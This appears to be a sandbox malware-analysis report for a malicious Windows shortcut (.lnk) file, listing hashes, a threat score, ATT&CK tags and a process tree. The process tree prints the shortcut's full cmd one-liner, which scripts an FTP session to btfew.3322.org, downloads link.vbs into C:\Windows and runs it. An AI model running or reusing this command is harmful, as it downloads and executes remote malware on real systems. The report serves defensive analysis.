8533fdd14f843d95bf261e4226416aa1326a8dba714732a47363c2f8ab8467ef | Triage

Analysis

max time kernel
7s
max time network
46s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
28-10-2022 23:08

Sharing

Report Analysis Logs

General

Target

8533fdd14f843d95bf261e4226416aa1326a8dba714732a47363c2f8ab8467ef.lnk
Size

2KB
MD5

0ad6820546ab727a967b6ec4eaa3da60
SHA1

0bff1501b8b2df52be0a5250123e668b50f96af2
SHA256

8533fdd14f843d95bf261e4226416aa1326a8dba714732a47363c2f8ab8467ef
SHA512

0636a406076c783b840f0a3cd44ed6a74d1dc16ebf941ddb3630a5d9c842f49aef20e8a90eafd9ca7f5877674a4385b858e80d801899dc61a28310df92555703

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\8533fdd14f843d95bf261e4226416aa1326a8dba714732a47363c2f8ab8467ef.lnk
1⤵
PID:4988
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /c echo open btfew.3322.org>>m.t&echo 123>>m.t&echo 123>>m.t&echo get jnj C:\Windows\link.vbs>>m.t&echo bye>>m.t&ftp -s:m.t& del m.t&start C:\Windows\link.vbs
  2⤵
  PID:3320
- - C:\Windows\system32\ftp.exe
    ftp -s:m.t
    3⤵
    PID:4956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\m.t

Filesize
65B

MD5
6b395d25b50e046503334a2b080f96c9

SHA1
95d7bd2428541fdad546974733b91c6797307d31

SHA256
6b7cdf0009c19b0e0d61511232b405d962fb48a26e2116a6227780c7073cbad3

SHA512
32f193e0febe4724def611bb8aaf5ba51a3055473116b686d43c9b4f5908e8b89bb48a8ea9f277d38a99e406160658af8e4c725c888d6885f651b85b4f71f8c3

Download Submit
memory/3320-132-0x0000000000000000-mapping.dmp

Download
memory/4956-133-0x0000000000000000-mapping.dmp

Download